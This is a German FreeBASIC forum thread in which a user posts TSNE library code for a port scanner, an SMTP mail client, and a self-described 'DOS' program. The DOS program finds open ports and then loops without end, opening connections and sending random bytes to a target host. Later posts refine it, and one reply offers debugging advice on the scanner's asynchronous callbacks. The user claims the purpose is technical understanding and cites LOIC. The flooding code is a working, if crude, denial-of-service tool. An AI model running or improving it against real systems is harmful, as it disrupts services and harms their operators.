  | 
					
						Das deutsche QBasic- und FreeBASIC-Forum Für euch erreichbar unter qb-forum.de, fb-forum.de und freebasic-forum.de!   
						
						
					 | 
				 
			 
			 
	
		| Vorheriges Thema anzeigen :: Nächstes Thema anzeigen   | 
	 
	
	
		| Autor | 
		Nachricht | 
	 
	
		Electron
 
 
  Anmeldungsdatum: 04.05.2019 Beiträge: 3
 
  | 
		
			
				 Verfasst am: 04.05.2019, 12:38    Titel: Fragen zu TSNE | 
				     | 
			 
			
				
  | 
			 
			
				Ich wollte etwas mit dem Port-Scanner experimentieren, doch funktioniert der bei mir leider nicht. Also hab ich mir selber einen gebastelt:
 
 
 	  | Code: | 	 		  
 
#include once "TSNE.bi"
 
Dim as UInteger G_Client 
 
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
 
dim shared as integer bv,n,port
 
dim shared as string ip
 
input "Host/IP-Adr.:",ip
 
if ip="" then ip="192.168.1.1"
 
input "Port (0-1023):",n
 
if n=0 then n=1023
 
 
for port=0 to n
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
next port
 
beep
 
print
 
print "Fertig!!"
 
sleep
 
 
Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
print "DIS";(port-1)
 
End Sub
 
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
 
print "OPN";(port-1)
 
End Sub
 
 
Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
print "NEW";(port-1)
 
End Sub
 
 | 	  
 
 
Der ist aber relativ langsam. Wie kann ich den verbessern?
 
 
Weiter hab ich ein DOS-Programm für den Selbsttest gebastelt. Ich will damit nichts illegales machen; mir geht es lediglich um das technische Verständnis. Hätte ich unlautere Absichten, würde ich wohl etwas wie LOIC verwenden. Doch wie kann ich die beiden Programme zusammenhängen, möglichst ohne diese "doofen" SUBs?
 
 
 	  | Code: | 	 		  
 
#include once "TSNE.bi"
 
Dim as UInteger G_Client 
 
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
 
dim shared as integer bv,n,port
 
dim shared as string ip
 
input "Host/IP-Adresse:",ip
 
if ip="" then ip="192.168.1.1"
 
input "Port (80):",port
 
if port=0 then port=80
 
randomize timer,5
 
 
do
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
locate 3,1:print "Angriffe:";n
 
n+=1
 
loop
 
 
Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
End Sub
 
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
 
End Sub
 
 
Sub TSNE_NewData (ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
End Sub
 
 | 	  
 
 
Auch funktioniert das Mail-Programm mit GMX nicht; wo liegt da der Fehler? Vielen Dank!!
 
 
 	  | Code: | 	 		  
 
#include once "TSNE.bi"
 
Dim Shared as UInteger G_Client,G_State
 
Dim Shared as String G_Data,XServer,XFrom
 
Dim Shared as String XTo,XBetreff,XNachricht
 
 
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
 
Print "[INIT] Client..."
 
Dim BV as Integer
 
Dim D as String
 
For X as UByte=1 to 5
 
Do
 
Print ""
 
Select Case X
 
Case 1
 
Line Input "Server:",D
 
Case 2
 
Line Input "Absender:",D
 
Case 3
 
Line Input "Empfänger:",D
 
Case 4
 
Line Input "Betreff:",D
 
Case 5
 
Line Input "Nachricht:",D
 
End Select
 
Loop Until (D<>"") or ((X=1) and (D=""))
 
Select Case X
 
Case 1:XServer=D
 
Case 2:XFrom=D
 
Case 3:XTo=D
 
Case 4:XBetreff=D
 
Case 5:XNachricht=D
 
End Select
 
Next
 
 
If XServer="" Then
 
Dim XPos as UInteger=InStr(1,XTo,"@")
 
If XPos>0 Then XServer = Mid(XTo,XPos+1)
 
End If
 
 
Print "[Verbindungsaufbau]"
 
BV=TSNE_Create_Client(G_Client,XServer,25,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,60)
 
 
If BV<>TSNE_Const_NoError Then
 
Print "[FEHLER] " & TSNE_GetGURUCode(BV)
 
End -1
 
End If
 
 
Print "[Verbindung]"
 
TSNE_WaitClose(G_Client)
 
Print "[Fertig]"
 
End
 
 
Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Print "[Beendet]"
 
End Sub
 
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Print "[Bestehend]"
 
End Sub
 
 
Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
G_Data+=V_Data
 
Dim XPos as UInteger
 
Dim T as String
 
Do
 
XPos=InStr(1,G_Data,Chr(13,10))
 
If XPos=0 Then Exit Do
 
T=Mid(G_Data,1,XPos-1)
 
G_Data=Mid(G_Data,XPos+2)
 
Select Case ValUInt(Left(T,3))
 
Case 220
 
TSNE_Data_Send(V_TSNEID,"HELO" & Chr(13,10))
 
         
 
Case 221
 
TSNE_Disconnect(V_TSNEID)
 
Print "Erfolgreich"
 
         
 
Case 250
 
Select Case G_State
 
Case 0:TSNE_Data_Send(V_TSNEID,"MAIL FROM:<" & XFrom & ">" & Chr(13,10))
 
Case 1:TSNE_Data_Send(V_TSNEID,"RCPT TO:<" & XTo & ">" & Chr(13,10))
 
Case 2:TSNE_Data_Send(V_TSNEID,"DATA" & Chr(13,10))
 
Case 3:TSNE_Data_Send(V_TSNEID,"QUIT" & Chr(13,10))
 
End Select
 
G_State+=1
 
         
 
Case 354
 
TSNE_Data_Send(V_TSNEID,"From: <" & XFrom & ">" & Chr(13,10) & "To: <" & XTo & ">" & Chr(13,10) & "Subjekt: " & XBetreff & Chr(13,10) & Chr(13,10) & XNachricht & Chr(13,10) & "." & Chr(13,10))
 
         
 
Case Else
 
TSNE_Disconnect(V_TSNEID)
 
Print "Fehler"
 
End Select
 
Loop
 
End Sub
 
 | 	 
 
  Zuletzt bearbeitet von Electron am 05.05.2019, 09:07, insgesamt einmal bearbeitet | 
			 
		  | 
	 
	
		| Nach oben | 
		 | 
	 
	
		  | 
	 
	
		Electron
 
 
  Anmeldungsdatum: 04.05.2019 Beiträge: 3
 
  | 
		
			
				 Verfasst am: 04.05.2019, 18:19    Titel:  | 
				     | 
			 
			
				
  | 
			 
			
				Mache das jetzt erst mal so; für meine Zwecke reicht es.
 
 
 	  | Code: | 	 		  
 
#include once "TSNE.bi"
 
Dim as UInteger G_Client 
 
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected2(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
 
dim shared as integer bv,i,n,port,port2
 
dim shared as string ip
 
input "Host (192.168.1.1):",ip
 
if ip="" then ip="192.168.1.1"
 
randomize timer,5
 
print "Suche offene Ports:";
 
 
dim as integer liste=17
 
dim as integer feld(liste)
 
feld(0)=21:feld(1)=22:feld(2)=23:feld(3)=25:feld(4)=53:feld(5)=80:feld(6)=110:feld(7)=135:feld(8)=137:feld(9)=138
 
feld(10)=139:feld(11)=443:feld(12)=445:feld(13)=1080:feld(14)=1433:feld(15)=3128:feld(16)=3306:feld(17)=8080
 
 
for i=0 to liste
 
port=feld(i)
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
if port2>0 then print port;
 
next i
 
 
print
 
input "Angriffs-Port (80):",port
 
if port=0 then port=80
 
 
do
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected2,@TSNE_NewData,0)
 
locate 4,1:print "Anzahl Pings:";n
 
n+=1
 
loop
 
 
Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
End Sub
 
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
 
port2=port
 
End Sub
 
 
Sub TSNE_Connected2(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,chr(int(rnd*255)+0))
 
port2=port
 
End Sub
 
 
Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
End Sub
 
 | 	 
  | 
			 
		  | 
	 
	
		| Nach oben | 
		 | 
	 
	
		  | 
	 
	
		Electron
 
 
  Anmeldungsdatum: 04.05.2019 Beiträge: 3
 
  | 
		
			
				 Verfasst am: 08.05.2019, 19:48    Titel:  | 
				     | 
			 
			
				
  | 
			 
			
				So, hab's mal noch etwas verbessert:
 
 	  | Code: | 	 		  
 
#include once "TSNE.bi"
 
Dim as UInteger G_Client 
 
 
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_Connected2(ByVal V_TSNEID as UInteger)
 
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
 
dim shared as integer bv,i,j,modus,n,port,port2
 
dim shared as string ip
 
 
input "Host/IP:",ip
 
if ip="" then ip="192.168.1.1"
 
randomize timer,5
 
print "Suche..."
 
 
dim as integer liste=13,liste2
 
dim as integer feld(liste)
 
 
feld(0)=21
 
feld(1)=23
 
feld(2)=25
 
feld(3)=53
 
feld(4)=80
 
feld(5)=110
 
feld(6)=135
 
feld(7)=137
 
feld(8)=138
 
feld(9)=139
 
feld(10)=443
 
feld(11)=445
 
feld(12)=1080
 
feld(13)=8080
 
 
for i=0 to liste
 
port=feld(i)
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
if port2=0 then feld(i)=0
 
next i
 
 
for i=0 to liste
 
port=feld(i)
 
if port>0 then liste2+=1
 
next i
 
 
dim as integer feld2(liste2-1)
 
for i=0 to liste
 
if feld(i)>0 then feld2(j)=feld(i):j+=1
 
next i
 
 
print
 
print "Ports:",
 
for i=0 to liste2-1
 
print feld2(i);
 
next i
 
 
print
 
print
 
input "1=spez. Port   2=alle Ports:",modus
 
if modus=0 then modus=2
 
 
if modus=1 then
 
port=0
 
print
 
input "Port (80):",port
 
if port=0 then port=80
 
end if
 
 
do
 
if modus=2 then port=feld2(int(rnd*liste2)+0)
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected2,@TSNE_NewData,0)
 
locate 8,1:print "Port:         ";port,
 
locate 9,1:print "Pings:        ";n
 
n+=1
 
loop
 
 
Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
 
End Sub
 
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
 
port2=port
 
End Sub
 
 
Sub TSNE_Connected2(ByVal V_TSNEID as UInteger)
 
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,chr(int(rnd*255)+0))
 
port2=port
 
End Sub
 
 
Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
 
End Sub
 
 | 	 
  | 
			 
		  | 
	 
	
		| Nach oben | 
		 | 
	 
	
		  | 
	 
	
		ThePuppetMaster
 
  
  Anmeldungsdatum: 18.02.2007 Beiträge: 1839 Wohnort: [JN58JR]
  | 
		
			
				 Verfasst am: 14.05.2019, 19:53    Titel: Re: Fragen zu TSNE | 
				     | 
			 
			
				
  | 
			 
			
				 	  | Electron hat Folgendes geschrieben: | 	 		  | Ich wollte etwas mit dem Port-Scanner experimentieren, doch funktioniert der bei mir leider nicht. | 	  
 
der hier? .. https://www.freebasic-portal.de/porticula/fastportscanbas-829.html
 
 
 
Bezüglich deiner variante:
 
 
1.
 
Folgendes ist ungünstig:
 
 	  | Code: | 	 		  
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
 | 	  
 
Hier gibst du am ende "...,0)" an ... 0 bedeutet in diesem falle, das 0 Sekunden auf den Verbindungsaufbau gewartet werden soll. Im Zweifelsfall kann das einfach darin enden, das er die Verbindung terminiert, noch bevor eine mögliche erfolgsmeldung eintrifft. > 0 (z.b. 3) wäre sinvoll.
 
 
2. TSNE arbeitet Asynchron und mit Callbacks. Das musst du unbedingt bei der codierung beachten, was nach deinem Source jedoch nicht beachtet wurde.
 
 	  | Code: | 	 		  
 
for port=0 to n
 
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
 
next port
 
 | 	  
 
Da diese Funktion async und via callback arbeitet kannst du in den Callbacks z.B. "..._Connected(..." nicht auf eine globale variable zugreifen, da sich zwischenzeitlich der wert (abhängig von der verbindungsgeschwindigkeit der einzelnen verbindungsaufbauten) schon geändert haben kann. -> "print "OPN";(port-1)"
 
 
sinvoll wäre es hier, wenn du TSNE mithilfe von "TSNE_SUBCALLBACK" includierst. Das ermöglicht dir, allocierte Variablen den Callback-Fountionen anzuhängen. In diesem Speicher kannst du dann z.B. die aktuelle Port-Nummer hinterlegen.
 
 
Es gäbe noch eine ... nicht zu empfehlende .. Möglichkeit das ganze zu "ertricksen".
 
 
Hierzu erzeugst du eine funktion wie folgt:
 
 	  | Code: | 	 		  
 
Private Function GetTSNEPortByTSNEID(ByRef V_TSNEID as UInteger) as Integer
 
Dim TSD as TSNE_Socket Ptr
 
MutexLock(TSNE_INT_Mutex)
 
TSD = TSNE_INT_GetPtr(V_TSNEID)
 
If TSD = 0 Then MutexUnLock(TSNE_INT_Mutex): Return -1
 
If TSD->T_ThreadOn = 0 Then MutexUnLock(TSNE_INT_Mutex): Return -1
 
Dim TPort as UShort = TSD->V_Port
 
MutexUnLock(TSNE_INT_Mutex)
 
Return TPort
 
End Function
 
 | 	  
 
 
Das ganze rufst du dann im "connected" event auf:
 
 	  | Code: | 	 		  
 
Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
 
Print GetTSNEPortByTSNEID(V_TSNEID)
 
End Sub 
 
 | 	  
 
Dieses gibt dir dann den Port des verbundenen sockets anhand der TSNE-Intern gespeicherten Daten aus.
 
 
3. Desweiteren ist es keinesfalls ratsam alle 16Bit Ports "quasi gleichzeitg" zu verbinden. Das kann ein Instabiles system und / oder fehlerhafte Port-Prüfungen zur folge haben. Du solltest das ganze auf .. sagen wir mal .. 100 gleichzeitge verbindugnsanfragen beschränken.
 
 
 
MfG
 
TPM _________________ [ WebFBC ][ OPS ][ ToOFlo ][ Wiemann.TV ] | 
			 
		  | 
	 
	
		| Nach oben | 
		 | 
	 
	
		  | 
	 
	
		 | 
	 
 
  
	 
	    
	   | 
	
Du kannst keine Beiträge in dieses Forum schreiben. Du kannst auf Beiträge in diesem Forum nicht antworten. Du kannst deine Beiträge in diesem Forum nicht bearbeiten. Du kannst deine Beiträge in diesem Forum nicht löschen. Du kannst an Umfragen in diesem Forum nicht mitmachen.
  | 
   
 
     |